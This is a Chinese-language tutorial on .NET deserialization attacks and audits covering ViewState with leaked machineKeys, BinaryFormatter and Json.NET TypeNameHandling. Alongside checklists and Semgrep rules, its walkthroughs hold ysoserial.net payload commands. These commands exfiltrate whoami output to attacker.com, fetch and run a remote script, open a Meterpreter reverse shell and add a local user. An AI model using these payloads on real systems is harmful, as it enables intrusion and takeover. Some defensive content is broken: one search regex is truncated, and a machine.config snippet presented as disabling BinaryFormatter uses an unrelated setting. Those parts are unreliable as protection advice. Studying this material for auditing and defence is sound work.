.NET 反序列化漏洞——ViewState 与 BinaryFormatter 实战深度剖析

引言:当"序列化"成为攻击者的快速通道

在 .NET 攻防的历史长河里,反序列化漏洞始终占据着"高伤高速"的黄金地位 。它不是 0day 的专属------大量案例表明,一个配置失误(machineKey 泄露)或一行遗留代码(BinaryFormatter.Deserialize)足以让攻击者绕过所有身份验证、直捣系统核心。从 2020 年震惊业界的 Exchange RCE(CVE-2020-0688),到 2026 年初刚披露的 VeraSMART CVE-2026-26333 与 KnowledgeDeliver CVE-2026-5426,"ViewState 反序列化 RCE"这条攻击链正在从理论走向大规模在野利用。微软威胁情报团队在 2026 年的统计显示,超过 3,000 个 ASP.NET machineKey 已在 GitHub、Stack Overflow 乃至微软自家文档中公开暴露,攻击者甚至不需要任何前置漏洞,就能用泄露的密钥字典直接发起批量攻击。

对于白盒审计者和红队工程师,掌握 .NET 反序列化漏洞的原理与利用手法,是从"修补已知 CVE"跃升为"发现同类 0day"的必经之路。本文将从序列化机制的第一性原理出发,把 ViewState 与 BinaryFormatter 这两大攻击面拆解到字节层面,再通过完整的攻击链推演,最后给出可直接落地的审计清单、Semgrep 规则与迁移方案。无论你是在审视一个部署了十年的老 WebForms 项目,还是在评估一个刚迁移到 .NET 8 的新服务,这篇文章都希望能成为你工具箱里那把最锋利的手术刀。

第一章:.NET 序列化体系的全景认知

要做反序列化审计,必须先理解 .NET 提供了哪些序列化机制、它们各自的安全边界在哪里。很多新手把所有"序列化"混为一谈,结果在审计时要么漏掉关键 Sink,要么把无害的 JSON 处理也标记为高危。

1.1 五大 Formatter 对比

Formatter 格式 默认安全性 典型用途 危险等级
BinaryFormatter 二进制(起始魔数 /w base64 或 AAEAAAD hex) 极不安全(任意类型实例化) 遗留 IPC、缓存、Remoting ★★★★★
LosFormatter 字符串(Base64) 不安全(内部走 ObjectStateFormatter) ASP.NET 1.x ViewState ★★★★★
ObjectStateFormatter 二进制流(Base64 编码后输出) 不安全(专用做 ViewState 但可被滥用) ASP.NET 2.0+ ViewState、ControlState ★★★★★
NetDataContractSerializer XML 不安全(含类型信息,类比 BinaryFormatter) WCF、部分中间件 ★★★★☆
Json.NET (Newtonsoft) JSON 条件性安全TypeNameHandling 默认 None,若开启则危险) Web API、配置 ★★★☆☆
System.Text.Json JSON 安全(设计上不支持任意类型实例化) .NET Core 3+ 默认 ★☆☆☆☆
XmlSerializer / DataContractSerializer XML 相对安全(类型受限,但历史上有特定 gadget) WCF、SOAP ★★☆☆☆
参考资料综合自微软官方文档与 PayloadsAllTheThings 整理。
审计时的第一件事,就是用 grep 快速识别项目使用了哪种 Formatter
bash 复制代码
# 危险 Sink 全局扫描
rg -n --type cs "BinaryFormatter|NetDataContractSerializer|LosFormatter|ObjectStateFormatter"
rg -n --type cs "TypeNameHandling\.(All|Auto|Objects|Arrays)"
rg -n --type cs "typeof.*SerializationBinder"
rg -n --type cs "\.Deserialize\(|\.DeserializeObject\("

只要命中上述任何一项且入参来自用户(HTTP 参数、Cookie、消息队列、共享缓存、文件上传),就应该列为高危目标继续深挖。

1.2 序列化"安全"的本质:类型即代码

为什么 BinaryFormatter 这么危险?根本原因在于它在反序列化时会根据字节流中嵌入的类型信息,直接在目标进程中实例化任意 .NET 类 。攻击者只需让字节流声明为某个"具有危险副作用的类",反序列化器就会忠实执行那个类的构造函数、属性 setter、OnDeserialization 回调、ISerializable 构造函数等。

一句话总结:在 BinaryFormatter 的世界里,"类型"就是"代码"。 攻击者的工作只是找到一条"反序列化即调用危险方法"的类链(即 Gadget Chain)。

第二章:ViewState------ASP.NET 的"全服共享密钥"之殇

ViewState 是 ASP.NET WebForms 的核心机制之一,也是历史上被打穿次数最多的反序列化入口。它的安全模型有一个致命的设计假设:只要 machineKey 不泄露,ViewState 就是不可伪造的。然而这个假设在现实中经常崩塌。

2.1 ViewState 的本质与安全模型

ViewState 是 ASP.NET 在页面回传时保持页面状态的机制,以 __VIEWSTATE 隐藏字段的形式存在于 HTML 表单中,经过 Base64 编码传输。安全层面有两个关键参数:

  • validationKey:用于对 ViewState 做 HMAC 签名,防止篡改
  • decryptionKey :用于加解密 ViewState 内容(.NET 4.5+ 默认加密+签名双保险)
    底层实现经历了两次演进:ASP.NET 1.x 使用 LosFormatter(TextWriter),2.0 之后改用 ObjectStateFormatter(BinaryWriter)------后者更紧凑,但两者都能被攻击者利用
    微软官方多次强调:EnableViewStateMac=false 是绝对禁止的 。从 2014 年起 ASP.NET 已经忽略了应用层对 EnableViewStateMac=false 的设置,强制启用 MAC 校验。但即便 MAC 强制开启,只要 machineKey 本身泄露,一切防线都会失效。

2.2 machineKey 是怎么泄露的?------五大典型路径

理解泄露渠道是评估风险的关键。审计或红队时可以按下列优先级逐一排查:

路径一:硬编码在公开模板中

最经典的情况:厂商在安装包默认 web.config 里写死了一组 machineKey,所有客户的部署实例共享同一组密钥。2026 年的 CVE-2026-5426(KnowledgeDeliver LMS)正是这一模式,Mandiant 已确认该漏洞被在野利用,攻击者借此部署了 Godzilla 内存马与 Cobalt Strike Beacon。另一个同类案例是 CVE-2026-26333 / CVE-2026-26335(Calero VeraSMART),CVSS 评分高达 9.8,源于厂商默认配置文件中的全域复用密钥。

路径二:从公开资源复制

微软的研究显示,开发者经常从 Stack Overflow 答案、GitHub 仓库、甚至微软官方文档中"复制粘贴" machineKey 到生产环境。在微软更新文档前,其官方文档示例中曾直接给出完整的 validationKey 和 decryptionKey 示例值,被大量开发者原封不动地部署。

路径三:目录穿越 / 任意文件读取

一旦应用存在 LFI 漏洞,攻击者读取 web.config 即可拿到 machineKey。CVE-2026-26333 的完整链路就是"未认证 .NET Remoting 服务 → 任意文件读取 → web.config 泄露 → machineKey 提取 → ViewState RCE"。

路径四:内部信息泄露

Git 历史提交、CI 日志、Docker 镜像层、备份文件 .bak.git 目录暴露、开发者误将配置截图发到论坛等都可能泄露。

路径五:高权限前提下的攻击升级

CVE-2025-3935(ScreenConnect)展示了另一类模式:攻击者需要先拿到系统级权限读取 machineKey,再通过 ViewState 注入升级到代码执行------这是权限提升而非直接 RCE,但依然值得警惕。

2.3 ViewState 反序列化的完整利用链

以经典的 Blacklist3r + ysoserial.net 组合为例,完整攻击链如下:

Step 1:识别 ViewState 模式

先看目标是否启用 MAC / 加密。通过查看返回页面的 __VIEWSTATE 前缀、__VIEWSTATEENCRYPTED 字段、以及尝试篡改后服务器返回的错误信息("Validation of viewstate MAC failed")可以快速判断。

Step 2:确定 machineKey

如果怀疑是预共享密钥,用 Blacklist3r 的 AspDotNetWrapper.exe 针对已知 machineKey 字典暴力比对:

bash 复制代码
AspDotNetWrapper.exe --keypath MachineKeys.txt \
    --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= \
    --purpose=viewstate --valalgo=sha1 --decalgo=aes \
    --modifier=CA0B0334 --macdecode --legacy

Step 3:用 ysoserial.net 生成 payload

bash 复制代码
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
    -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:$(whoami)" \
    --generator=CA0B0334 \
    --validationalg="SHA1" \
    --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

若启用了加密,还需额外传 --decryptionkey--decryptionalg,并去掉请求中的 __VIEWSTATEENCRYPTED 参数。

Step 4:发送 payload 并验证

将生成的 Base64 字符串作为 __VIEWSTATE 参数 POST 回目标页面。如果服务器返回 500 并提示"The state information is invalid for this page",但你的 OOB 服务器收到了回连请求,说明利用成功。

2.4 经典 Gadget 与其适配场景

ViewState 反序列化底层用的是 ObjectStateFormatter,这个 formatter 允许实例化任意 [Serializable] 类型,所以能复用大部分 BinaryFormatter 的 Gadget。常用的包括:

Gadget 目标类 适用条件
TextFormattingRunProperties Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties 依赖 VisualStudio 组件(.NET Framework 默认含此库)
TypeConfuseDelegate System.Comparison/System.Comparison delegate 混淆 仅适用于 BinaryFormatter,不适用 LosFormatter
WindowsIdentity System.Security.Principal.WindowsIdentity 触发反序列化时的 ISerializable 构造函数,可反序列化任意嵌套对象
ActivitySurrogateSelector System.Workflow.ComponentModel 需要目标环境有 Workflow 组件
ObjectDataProvider System.Windows.Data.ObjectDataProvider 通过 XAML 调用任意静态方法
ClaimsPrincipal System.Security.Claims.ClaimsPrincipal 通用,依赖 mscorlib
实战技巧 :当 ObjectStateFormatter 直接报错时,可以试试换成 LosFormatter 作为 formatter------很多 HITCON 题目与真实案例都验证过这种切换的有效性。

2.5 一个完整案例推演:从 machineKey 到 RCE

目标 :某企业内网 ASP.NET WebForms 应用,登录页面带有 __VIEWSTATE

Step 1 :抓取首页响应,确认 __VIEWSTATE 存在且 Base64 解码后开头是 /wEP(典型的签名+加密 ViewState)。

Step 2 :用 Blacklist3r 针对公开 machineKey 字典批量测试,命中一组 SHA1/AES 密钥。

Step 3:用 ysoserial.net 生成 ViewState payload:

bash 复制代码
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
    -c "powershell -nop -w hidden -e <base64_meterpreter>" \
    --validationalg="SHA1" --validationkey="<泄露的Key>" \
    --decryptionalg="AES" --decryptionkey="<泄露的Key>" \
    --path="/Login.aspx" --apppath="/"

Step 4 :Burp 重发登录请求,替换 __VIEWSTATE

Step 5 :Meterpreter 反弹上线,进程名为 w3wp.exe,权限为 IIS APPPOOL\DefaultAppPool------至此拿到 Web 层立足点。

这条链的全部"漏洞"只有两个:machineKey 泄露 + WebForms 启用 ViewState。修复方案将在第七章展开。

第三章:BinaryFormatter------万年老坑的"终极形态"

如果说 ViewState 的攻击面相对集中(主要在 ASP.NET WebForms),那么 BinaryFormatter 的攻击面则散布在整个 .NET 生态:WCF 服务、Remoting、Windows 服务、桌面应用的保存文件、游戏存档、工业控制软件、甚至部分桌面游戏的存档都会用它。

3.1 为什么 BinaryFormatter 至今仍在"战果累累"

微软早在 2019 年就明确宣布 BinaryFormatter 不安全,并在 .NET 5 中将其标记为 Obsolete(警告),在 .NET 7 中将警告升级为 Error,在 .NET 9 中彻底从运行时移除其实现 ------API 仍在但任何调用都会抛异常。

然而,大量存量系统仍在使用它:

  • 工业控制 / ICS 软件:muffSec 在 2020 年 Pwn2Own Miami 中利用 DataContractSerializer 的 gadget 链攻破了某主流 ICS 厂商的产品,这个案例展示了即便 BinaryFormatter 被禁,同类"类型信息嵌入"的反序列化模式依然是攻击者的甜点。
  • 桌面游戏:modzero 的研究显示,很多 Unity 游戏用 BinaryFormatter 序列化存档,攻击者可以用恶意存档文件触发 RCE------这在游戏平台成为新型攻击面。
  • 遗留 Windows 服务 :大量用 .NET Framework 写的服务、调度器、批处理工具仍然信任本地或网络文件中的二进制数据。
    核心规律 :只要满足"用户可控数据 + BinaryFormatter.Deserialize + 依赖链上有可用 gadget"三个条件,RCE 几乎是必然的。

3.2 BinaryFormatter 的字节流特征与检测

二进制格式有一个非常易识别的魔数:字节流起始为 00 01 00 00 00 FF FF FF FF(即 Base64 中的 /w 或 hex AAEAAAD)。

在流量中识别:

复制代码
# Cookie / POST body / Base64 参数中若出现以下模式
/wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUT...
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u...

基本都是 .NET 序列化数据。如果解 Base64 后看到可读的类名(如 System.Windows.Data.ObjectDataProviderSystem.Security.Principal.WindowsIdentity),就可以精确判断 gadget 类型。

3.3 Gadget Chain 的底层逻辑

BinaryFormatter 的 gadget 链一般由三个部分组成:

  1. Trigger :反序列化时自动调用的方法(如 OnDeserialization 回调、ISerializable 构造函数、IDisposable.Dispose 等)
  2. Bridge:把控制流传递到攻击者指定的类或方法
  3. Payload :最终执行命令的位置(如 Process.StartXamlReader.ParseAssembly.Load 字节码)
    WindowsIdentity 链为例:
csharp 复制代码
// WindowsIdentity 实现了 ISerializable
// 其反序列化构造函数会从 SerializationInfo 中还原 ClaimsIdentity.actor 字段
// 这一步又会触发嵌套的 BinaryFormatter 反序列化 → 攻击者可控制整个嵌套链
public WindowsIdentity(SerializationInfo info, StreamingContext context) {
    // ... 内部会反序列化 actor 字段的内容,形成二次反序列化入口
}

攻击者把恶意二进制塞进 System.Security.ClaimsIdentity.actor 字段,反序列化 WindowsIdentity 就会递归调用 BinaryFormatter 处理攻击者的字节流,最终通过嵌套 gadget 执行命令。

3.4 ysoserial.net 的实战使用

ysoserial.net 是 .NET 反序列化漏洞的标准 PoC 工具,支持多种 formatter 和 gadget 组合。常用命令示例:

bash 复制代码
# BinaryFormatter + TextFormattingRunProperties
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties \
    -c "cmd.exe /c whoami > C:\\temp\\out.txt" -o base64
# LosFormatter + WindowsIdentity( ViewState 场景)
ysoserial.exe -f LosFormatter -g WindowsIdentity \
    -c "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/sh.ps1')" \
    -o base64
# XmlSerializer + ObjectDataProvider
ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer
# NetDataContractSerializer + TypeConfuseDelegate
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate \
    -c "cmd.exe /c net user pwn Pass@123 /add" -o base64

Metasploit 也内置了 .NET 反序列化模块Msf::Util::DotNetDeserialization),支持 ClaimsPrincipal / TextFormattingRunProperties / TypeConfuseDelegate / WindowsIdentity 等主流 gadget 与 BinaryFormatter / LosFormatter / SoapFormatter 三种 formatter 的组合,方便在渗透框架中直接调用。

3.5 Binding Redirect 与依赖收集

ysoserial.net 的 gadget 能否成功,取决于目标进程的 AppDomain 是否加载了 gadget 依赖的 DLL。审计时需要重点收集:

  • 目标应用 web.config / app.config 中的 <dependentAssembly>
  • bin/ 目录下所有 DLL 文件名(尤其是 System.Extensions、Microsoft.* 、Newtonsoft.Json、System.Workflow.* 等)
  • GAC 中已注册的第三方程序集
    一个常见误区是认为"目标没有用 VisualStudio 组件就不能用 TextFormattingRunProperties"。实际上,只要 gadget 的类在目标 AppDomain 的解析路径中(哪怕是被间接加载了),链就会生效。 而 .NET Framework 的 GAC 默认装了 VisualStudio 的部分组件,这往往使很多 gadget 的适用面比想象中更广。

第四章:Json.NET 与其他"次高危"反序列化

除了两大主战场,还有一些"条件性危险"的反序列化场景,审计时也不应忽略。

4.1 Json.NET 的 TypeNameHandling 陷阱

Newtonsoft.Json 默认 TypeNameHandling.None,是安全的。但当业务代码写了:

csharp 复制代码
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All    // 或 Auto / Objects / Arrays
};
var obj = JsonConvert.DeserializeObject<User>(input, settings);

JSON 中就可以用 $type 字段指定任意 .NET 类型:

json 复制代码
{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "ObjectInstance": {
        "$type": "System.Diagnostics.Process, System, ...",
        "StartInfo": {
            "FileName": "cmd.exe",
            "Arguments": "/c calc.exe"
        }
    }
}

配合 ObjectInstance 的嵌套 setter 调用,可直接 RCE。

修复方案 :必须使用 TypeNameHandling 时,务必配合 SerializationBinder 白名单:

csharp 复制代码
public class SafeBinder : SerializationBinder {
    private static readonly HashSet<string> Allowed = new HashSet<string> {
        "MyApp.Models.User", "MyApp.Models.Order"
    };
    public override Type BindToType(string assemblyName, string typeName) {
        var full = typeName + ", " + assemblyName;
        if (!Allowed.Contains(typeName)) 
            throw new SerializationException("Type not allowed: " + typeName);
        return Type.GetType(full);
    }
}
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.Auto,
    SerializationBinder = new SafeBinder()
};

4.2 DataContractSerializer 与 XmlSerializer

这两个 serializer 在设计上限制了任意类型实例化(通常需要在构造时指定允许的类型),但仍有以下风险点:

  • KnownTypes 被外部控制:若 KnownTypes 列表来自数据库或配置,可被攻击者污染
  • XamlReader.Parse 作为 gadget payload:能加载任意 XAML,触发 ObjectDataProvider 链
  • DataTable / DataSet 的 RemotingFormat=Binary :内部仍可能走 BinaryFormatter
    muffSec 在 2019 年发现的 DataContractSerializer RCE 链通过精心构造 ExpandedWrapper<T1,T2> 类型的嵌套 XML,最终调用了 XamlReader.Parse 执行任意代码------这个案例在 Pwn2Own Miami 2020 上被成功演示。这说明即便框架声称"安全",只要允许指定任意类型,就可能有新 gadget 被发现

第五章:实战推演------一次完整的 .NET 审计流程

把前面所有知识串起来,给出一个可直接复用的审计流程。

Step 1:技术栈识别(10 分钟)

bash 复制代码
# 看 .csproj / packages.config 确定目标框架
cat *.csproj | grep -E "TargetFramework|PackageReference"
# 看 web.config 中的 machineKey 配置
grep -i "machineKey" web.config
# 识别 ViewState 使用情况
rg -n "EnableViewState|ViewStateUserKey" .

关键判断:

  • .NET Framework WebForms:大概率有 ViewState,重点看 machineKey
  • .NET Core / 5+:大概率无 ViewState,重点看自定义反序列化逻辑
  • .NET Framework 4.5 以下 :可能存在 EnableViewStateMac=false 配置漏洞

Step 2:Sink 全量扫描(30 分钟)

bash 复制代码
# 命令执行 Sink
rg -n --type cs "new BinaryFormatter|BinaryFormatter\(\)" --glob '!bin/**'
rg -n --type cs "LosFormatter|ObjectStateFormatter|NetDataContractSerializer"
rg -n --type cs "TypeNameHandling\.(All|Auto|Objects|Arrays)"
rg -n --type cs "\.Deserialize\(|JsonConvert\.DeserializeObject|XamlReader\.Parse"
# ViewState 相关
rg -n --type cs "MachineKey\.(Decode|Encode)"
rg -n --type cs "PageStatePersister|IStateFormatter"
# 危险配置
rg -n "enableViewStateMac\s*=\s*[\"']false" --type xml
rg -n "validationKey\s*=\s*[\"'][^A]|

Step 3:Source 追踪与优先级排序

对每个 Sink 反向追踪数据来源,按以下优先级分类:

优先级 Source 类型 典型例子
P0 HTTP 参数/Cookie 直接进 Deserialize Request.Form["data"]、Cookie 值
P1 数据库/缓存读取后反序列化 Redis 中的二进制缓存
P2 消息队列 payload 反序列化 RabbitMQ/MassTransit 的二进制消息
P3 文件系统反序列化 上传的 .dat 文件、定时任务读取的文件
P4 内部 IPC/Remoting 已部署环境的 .NET Remoting 端点

Step 4:machineKey 集中检查

这是 ASP.NET 项目审计的"必查项":

bash 复制代码
# 1. 检查 web.config 是否硬编码密钥
grep -A 3 "<machineKey" web.config
# 2. 检查密钥是否在已知公开列表中
#    将密钥 hash 后比对 GitHub、Stack Overflow 上的公开列表
# 3. 检查 Machine.config 是否设置了机器级密钥
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config | findstr machineKey

发现硬编码密钥后,立即检查它在厂商部署模板中是否也出现------如果是,所有该厂商的部署实例都受影响。

Step 5:动态验证

用 Burp + ysoserial.net 进行手工验证:

  1. ViewState :替换 __VIEWSTATE 为恶意 payload,观察响应
  2. BinaryFormatter:构造含恶意二进制的 Cookie/POST body,监听 OOB(DNS/HTTP 回连)
  3. Json.NET :构造 {"$type": "..."} payload,尝试触发 ObjectDataProvider
    验证成功后,整理报告时按"漏洞描述→复现步骤→影响评估→修复建议→替代代码"的标准结构输出。

第六章:审计 Checklist 与自动化规则

6.1 .NET 反序列化审计 Checklist

# 检查项 说明
1 machineKey 是否硬编码/公开泄露 对比 GitHub 公开列表
2 web.config 是否启用 ViewState MAC EnableViewStateMac 必须为 true
3 ViewStateEncryptionMode 是否为 Always 建议强制加密
4 项目中是否使用了 BinaryFormatter .NET 5+ 应迁移
5 Json.NET 是否开启 TypeNameHandling 必须配 SerializationBinder
6 所有 Deserialize 调用的入参是否来自用户 追踪到 Source
7 是否存在自定义 SerializationBinder 检查白名单完整性
8 WCF/Remoting 端点是否暴露 TypeFilterLevel 是否为 Low
9 应用是否使用 .NET Framework ≤4.5 老版本有多个已知 ViewState 绕过
10 是否上传并反序列化任意文件 游戏/桌面应用常见
11 依赖库版本是否最新 老版本 Newtonsoft.Json、System.Runtime.Serialization.Formatters 等有已知 gadget
12 是否为不同实例使用了唯一密钥 "一次泄露,全局沦陷"反面教材

6.2 Semgrep 自定义规则

yaml 复制代码
rules:
  - id: csharp-binaryformatter-deserialize-user-input
    languages: [csharp]
    severity: ERROR
    message: BinaryFormatter.Deserialize called - potential RCE
    patterns:
      - pattern-either:
        - pattern: $BF.Deserialize($INPUT)
        - pattern: new BinaryFormatter().Deserialize($INPUT)
      - metavariable-pattern:
          metavariable: $INPUT
          patterns:
            - pattern-not: '"...literal..."'
  - id: csharp-losformatter-viewstate
    languages: [csharp]
    severity: WARNING
    message: LosFormatter usage detected - unsafe for untrusted data
    patterns:
      - pattern: new LosFormatter(...)
  - id: csharp-newtonsoft-typenamehandling-all
    languages: [csharp]
    severity: ERROR
    message: TypeNameHandling.All without SerializationBinder is unsafe
    patterns:
      - pattern-either:
        - pattern: TypeNameHandling.All
        - pattern: TypeNameHandling.Auto
      - pattern-not-inside: |
          $SETTINGS = new JsonSerializerSettings {
              SerializationBinder = $SAFE, ...
          }
  - id: csharp-machinekey-hardcoded
    languages: [generic]
    severity: CRITICAL
    message: Hardcoded machineKey in config - critical risk of ViewState RCE
    patterns:
      - pattern-regex: |
          <machineKey[^>]*validationKey="[0-9a-fA-F]{40,}"[^>]*decryptionKey="[0-9a-fA-F]{32,}"

6.3 运行时防护

即使代码暂时无法修复,运行时也可以部署多层防御:

1. .NET Framework 层

xml 复制代码
<!-- 在 machine.config 中全局禁用 BinaryFormatter -->
<configuration>
  <runtime>
    <bypassTrustedAppStrongNames enabled="false"/>
  </runtime>
</configuration>

2. 应用层统一 SerializationBinder

csharp 复制代码
public class RestrictedBinder : SerializationBinder {
    private static readonly Dictionary<string, string> Allowed = new() {
        ["MyApp.Models.User"] = "MyApp",
        ["MyApp.Models.Order"] = "MyApp",
    };
    public override Type BindToType(string assemblyName, string typeName) {
        if (!Allowed.TryGetValue(typeName, out var asm))
            throw new SerializationException($"Blocked: {typeName}");
        return Type.GetType($"{typeName}, {asm}");
    }
}
// 全局替换默认 formatter
public static class SafeSerializer {
    private static readonly BinaryFormatter _bf = new() {
        Binder = new RestrictedBinder()
    };
    public static T Deserialize<T>(Stream s) => (T)_bf.Deserialize(s);
}

3. 网络层

  • WAF 拦截含 AAEAAAD/wEP 魔数的可疑请求(误报多,仅作辅助)
  • 对 IIS 应用池启用独立身份与最小权限
  • 禁用不必要的 .NET Remoting 端口

第七章:修复与迁移------从"能用"到"安全"的架构跃迁

7.1 ViewState 的根治方案

方案 A:动态生成并定期轮换 machineKey

powershell 复制代码
# PowerShell 生成强随机 machineKey
$validationKey = -join ((1..64) | ForEach-Object { '{0:x}' -f (Get-Random -Max 16) })
$decryptionKey = -join ((1..32) | ForEach-Object { '{0:x}' -f (Get-Random -Max 16) })
@"
<machineKey 
    validationKey="$validationKey" 
    decryptionKey="$decryptionKey" 
    validation="HMACSHA256" 
    decryption="AES" />
"@ | Out-File new_machinekey.txt

注意:不要使用 SHA1 作为 validation 算法,改用 HMACSHA256 或 HMACSHA512

方案 B:迁移到 ASP.NET Core

ASP.NET Core 完全移除了 ViewState 机制 ,使用 Razor Pages / MVC 模式 + Data Protection API,密钥可托管到 Azure Key Vault 或 Linux 文件系统,从根本上消除了这类风险。

方案 C:View State User Key 防御

csharp 复制代码
// 在 Page_Init 中设置 ViewStateUserKey 防止 CSRF + ViewState 组合攻击
protected override void OnInit(EventArgs e) {
    base.OnInit(e);
    ViewStateUserKey = Session.SessionID;
}

7.2 BinaryFormatter 的迁移路线

微软官方迁移指南推荐按场景选择替代方案:

场景 推荐替代
配置/数据持久化 System.Text.Json(默认安全)
需要紧凑格式 MessagePack-CSharp / protobuf-net
WCF 场景 DataContractSerializer + 明确 KnownTypes
需要跨语言互操作 Protobuf / Avro
大数据量流式 MemoryPack / MessagePack
必须保留 BinaryFormatter 用 NuGet 包 System.Runtime.Serialization.Formatters(.NET 9+ 官方提供,但被标记为 unsupported)
迁移示例(原 BinaryFormatter 代码):
csharp 复制代码
// ❌ 旧代码
var formatter = new BinaryFormatter();
using (var stream = File.OpenRead("data.bin")) {
    var user = (User)formatter.Deserialize(stream);
}
// ✅ 新代码
using (var stream = File.OpenRead("data.json")) {
    var user = JsonSerializer.Deserialize<User>(stream, 
        new JsonSerializerOptions { 
            PropertyNameCaseInsensitive = true,
            IncludeFields = true  // 若原代码用了字段
        });
}

特别注意 :.NET 9 已从运行时移除 BinaryFormatter 实现,任何调用都会抛 NotSupportedException。即使通过 NuGet 包恢复,也必须显式配置兼容性开关且被标记为不受支持。

7.3 组织层面的纵深防御

技术修复只是一半,组织层面还需要:

  1. CI/CD 集成:每次提交都跑 Semgrep / SonarQube 规则,禁止新增 BinaryFormatter / TypeNameHandling.All
  2. 密钥治理:machineKey、connectionStrings、API keys 全部托管到 Azure Key Vault / HashiCorp Vault,通过环境变量注入
  3. SCA 工具 :定期运行 dotnet list package --vulnerable、Snyk、Trivy 扫描依赖
  4. 密钥轮换机制:machineKey 至少每季度轮换一次
  5. 监控告警 :监控异常大的 __VIEWSTATE 参数(> 10KB 需警惕)、含 /wEP 前缀的可疑 POST body、未知的 500 错误堆积

第八章:从单个漏洞到一类风险------深度思考

读完前几章,你可能已经隐约感受到一个共性:.NET 反序列化漏洞的根本问题,不是"某个库写错了",而是"把类型信息暴露给不可信输入"这个设计选择本身 。ViewState 如此,BinaryFormatter 如此,Json.NET 的 TypeNameHandling 如此,甚至 DataContractSerializer 的 KnownTypes 也是如此。

这提醒我们在审计任何 .NET 项目时,要带着一个更根本的疑问:这份代码在多大程度上允许"外部输入决定进程内部要执行什么类、调用什么方法"? 凡是答案为"允许"的地方,无论用了多现代的框架,都值得深挖一层。

另一个值得思考的观察:ViewState 攻击链之所以在 2026 年依然大放异彩,不是因为 ViewState 本身有多难修,而是因为"配置正确的密钥"这个动作在人类运维实践中几乎不可能完美执行 。3,000 个公开泄露的 machineKey、厂商硬编码的全域密钥、开发者从 Stack Overflow 复制的示例------每一条都是"配置即遗忘"的典型。当安全的成本落在运维人员的日常习惯上,它就注定会失败。这也解释了为什么 ASP.NET Core 彻底移除 ViewState、用 Data Protection API 自动管理密钥,是架构层面的正确决定。

最后想分享一个审计视角的顿悟:遇到 .NET 项目时,先看它是什么架构(WebForms / MVC / Core / Windows Service),再决定用什么"武器"审计 。WebForms 项目把 70% 精力放在 machineKey 与 ViewState;.NET Core 项目把 70% 精力放在 Json.NET 的 TypeNameHandling 与自定义反序列化逻辑;桌面/游戏项目则重点关注二进制文件的加载入口。理解"攻击面分布",比记住 100 个 gadget 链更重要

愿你下一次打开一个 .NET 项目的 .csproj 文件时,已经知道该往哪里看。

相关推荐
NJCloud19 分钟前
OpenStack(四)——进阶篇之私有网络配置与块存储服务(Cinder)部署
linux·网络·云计算·openstack
zcmodeltech19 分钟前
反应装置模型控制系统设计与实现:多设备协同联动方案
java·网络·数据库·stm32·嵌入式硬件·能源·制造
CDN3601 小时前
APP和小程序在地铁里总断连?360CDN上HTTP/3(QUIC),把弱网失败率死死压在0.7%
网络·网络协议·http
却道天凉_好个秋2 小时前
计算机网络:DNS总结
网络·计算机网络·dns
SDWAN_Cheap2 小时前
数据包在网络中是怎么一步步传输的?
网络·数据包
新时代牛马2 小时前
CFS调度源码:从 schedule() 到pick_next_entity 的vruntime 公平
linux·运维·网络
@insist1232 小时前
系统集成项目管理工程师-采购、风险与干系人管理
网络·软考·系统集成项目管理工程师·软考中项·软件水平考试
Syc1102g3 小时前
在 Linux CentOS 系统中设置静态 IP
linux·网络·计算机网络·个人开发
Shadow(⊙o⊙)3 小时前
CMake实战Http+编译、链接选项的使用
网络·网络协议·http